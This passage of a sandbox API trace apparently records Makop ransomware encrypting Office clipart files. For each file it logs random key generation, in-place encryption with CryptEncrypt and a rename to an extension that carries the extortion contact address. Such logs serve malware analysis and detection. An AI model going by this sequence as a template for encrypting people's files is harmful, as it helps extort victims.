hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.969] GetProcessHeap () returned 0x48a0000 [0133.969] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.969] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.969] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.971] CloseHandle (hObject=0xf0) returned 1 [0133.972] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d21, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0289430.JPG", cAlternateFileName="")) returned 1 [0133.972] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG") returned 63 [0133.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.973] GetProcessHeap () returned 0x48a0000 [0133.973] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.973] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.973] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.973] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0133.977] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.978] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.978] GetProcessHeap () returned 0x48a0000 [0133.978] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.978] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.978] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.978] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.978] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.978] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.979] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.979] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.979] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.979] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.979] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.979] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.980] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2d21, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2d21, lpOverlapped=0x0) returned 1 [0133.981] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d30, dwBufLen=0x2d30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d30) returned 1 [0133.981] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.982] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2d30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2d30, lpOverlapped=0x0) returned 1 [0133.982] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.982] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.982] SetEndOfFile (hFile=0xf0) returned 1 [0133.989] GetProcessHeap () returned 0x48a0000 [0133.989] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.989] GetProcessHeap () returned 0x48a0000 [0133.990] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.990] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.990] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.992] CloseHandle (hObject=0xf0) returned 1 [0133.992] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9e8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0290548.WMF", cAlternateFileName="")) returned 1 [0133.992] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF") returned 63 [0133.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.993] GetProcessHeap () returned 0x48a0000 [0133.993] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.993] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.993] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.994] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0133.998] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.998] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.998] GetProcessHeap () returned 0x48a0000 [0133.998] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.998] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.998] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.998] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.999] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.999] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.999] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.999] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.999] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0134.000] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.000] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.000] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.000] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9e8a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9e8a, lpOverlapped=0x0) returned 1 [0134.002] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9e90, dwBufLen=0x9e90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9e90) returned 1 [0134.003] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.003] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9e90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9e90, lpOverlapped=0x0) returned 1 [0134.004] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.004] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.004] SetEndOfFile (hFile=0xf0) returned 1 [0134.010] GetProcessHeap () returned 0x48a0000 [0134.010] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0134.010] GetProcessHeap () returned 0x48a0000 [0134.011] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0134.011] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0134.011] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0134.013] CloseHandle (hObject=0xf0) returned 1 [0134.013] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2590, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0291794.WMF", cAlternateFileName="")) returned 1 [0134.013] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF") returned 63 [0134.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0134.014] GetProcessHeap () returned 0x48a0000 [0134.014] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0134.014] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0134.014] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0134.014] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.014] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.015] GetProcessHeap () returned 0x48a0000 [0134.015] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0134.015] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0134.015] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.015] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0134.020] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0134.020] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0134.020] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0134.020] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0134.020] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0134.021] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.021] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.021] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.021] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2590, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2590, lpOverlapped=0x0) returned 1 [0134.022] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2590, dwBufLen=0x2590 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2590) returned 1 [0134.023] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.023] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2590, lpOverlapped=0x0) returned 1 [0134.023] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.023] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.023] SetEndOfFile (hFile=0xf0) returned 1 [0134.030] GetProcessHeap () returned 0x48a0000 [0134.030] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0134.030] GetProcessHeap () returned 0x48a0000 [0134.030] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0134.030] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0134.030] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0134.033] CloseHandle (hObject=0xf0) returned 1 [0134.033] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292248.WMF", cAlternateFileName="")) returned 1 [0134.033] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF") returned 63 [0134.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0134.036] GetProcessHeap () returned 0x48a0000 [0134.036] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0134.036] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0134.036] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0134.036] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0134.040] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.041] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.041] GetProcessHeap () returned 0x48a0000 [0134.041] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0134.041] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0134.041] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.041] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0134.041] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0134.041] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0134.041] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0134.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0134.042] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0134.042] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.042] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.042] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x20e4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x20e4, lpOverlapped=0x0) returned 1 [0134.044] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x20f0) returned 1 [0134.044] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.044] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, 